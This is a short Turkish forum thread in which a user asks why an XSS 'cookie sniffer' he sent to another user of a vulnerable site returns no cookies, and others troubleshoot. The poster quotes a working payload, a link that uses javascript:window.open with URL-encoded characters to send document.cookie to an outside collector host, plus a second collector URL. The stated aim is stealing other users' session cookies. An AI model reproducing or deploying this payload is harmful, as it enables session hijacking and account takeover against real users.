beyler xss açıklı bir site site buldum bu sitede 2 kullnıcı adı aldım...Daha sonra xss snifferını diğer kullanıcıma gönderdim .. www.site.com/index.html tıkladım linke cookieler gelmedi nerede sorun var anlamadım?
Xss Cookie Gelmiyor..
- Konbuyu başlatan therapiz
- Başlangıç tarihi
Özelden atarsan bakıyım
Cookiler gelmez çünkü şuan açık gözükmüyor bro . Kapatmış olabilirler
Bro meşgulum şuan zaman bulursam mesaj atarak anlatırım kusura bakma .
Özelden yazıyorum yprum kirliliği olmasın
Karşı tarafın linke tikladigindan emin misin?
ByDokunulmaz' Alıntı:
evet...kendim site yaptım kendi yaptığım stede xss açığı vardıarama yerinde daha sonra sniffer falna oluşturudm
<a href="javascript:window.open('ht%74p://ramz4444.hascoding.com/gdf.php?c='+do%63ument.cookie);"><u>Dont Click</a>
bu kodu arama yerine yazınca öyle bir cookie çıktı
http://ramz4444.hascoding.com/brutus.php?hello=buraya ekledim